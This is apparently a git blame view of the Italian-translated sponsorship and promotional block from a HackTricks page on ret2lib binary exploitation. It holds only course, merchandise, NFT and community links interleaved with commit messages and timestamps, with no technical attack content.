Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
{% embed url="https://websec.nl/" %}
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
Translated to Italian
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
Translated to Italian
2024-02-10 13:03:23 +00:00
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
Reference in a new issue Copy permalink